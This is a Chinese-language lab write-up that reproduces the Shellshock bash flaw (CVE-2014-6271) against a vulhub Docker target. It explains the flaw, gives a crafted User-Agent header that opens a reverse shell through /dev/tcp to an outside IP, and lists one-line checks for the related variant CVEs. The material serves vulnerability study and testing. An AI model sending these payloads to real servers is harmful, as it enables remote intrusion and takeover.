CVE-2014-6271
Linux Bash CVE-2014-6271漏洞复现
0. 环境搭建
-
安装docker:
curl -s https://get.docker.com/ | sh
-
搭建vulhub,使用wget下载vulhub:
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
解压:
unzip vulhub-master.zip
进入漏洞环境:
cd /tools/range/bash/shellblock
启动环境:
docker-compose up -d
1. 漏洞原理
-
以() {开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。
-
CGI脚本会继承系统的环境变量。CGI环境变量在CGI程序启动时初始化,在结束时销毁。当一个CGI脚本未被HTTP服务器调用时,它的环境变量几乎是系统环境变量的复制,当这个CGI脚本被HTTP服务器调用时,它的环境变量就会增加关于HTTP服务器,客户端,CGI传输过程等条目。当CGI脚本接收到一次HTTP请求,它的环境变量就会新增一些条目,比如
User-agent
,Connection
等信息
漏洞影响范围:bash版本<=4.3
2. 漏洞复现
-
访问靶场地址,虚拟机ip/victim.cgi,另外该目录下还存在一个safe.cgi,为最新bash下生成的cgi脚本。
-
访问,burp抓包:
- 修改数据包,命令执行:
GET /victim.cgi HTTP/1.1 Host: 192.168.163.128:8080 User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.1.1/1234 0>&1; Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1
- shell反弹成功:
总结
该漏洞利用条件较多,1. bash版本小于等于4.3,2. 攻击者可以控制环境变量,3. 新的bash进程被打开触发漏洞并执行命令。简单点说,没有cgi脚本继承环境变量,就玩不了;有cgi脚本的,bash版本过高也玩不了。不过由于利用较为简单,且影响范围比较大,建议多多尝试。
另外就是该漏洞的提权问题,在网上找了几篇文章看了一下,感觉还是msf做漏洞利用,上传系统信息收集文件,然后提权这一套比较靠谱。
还有几个编号是该漏洞的变种,大佬们绕补丁提的CVE:CVE-2014-7169、CVE-2014-7186、CVE-2014-7187、CVE-2014-6278、CVE-2014-6277。
CVE-2014-7169
env X='() { (shellshocker.net)=>\' bash -c "echo date"; cat echo; rm ./echo
CVE-2014-7186
bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' ||
echo "CVE-2014-7186 vulnerable, redir_stack"
CVE-2014-7187
(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash ||
echo "CVE-2014-7187 vulnerable, word_lineno"
CVE-2014-6278
shellshocker='() { echo You are vulnerable; }' bash -c shellshocker
CVE-2014-6277
bash -c "f() { x() { _;}; x() { _;} <<a; }" 2>/dev/null || echo vulnerable
文章参考: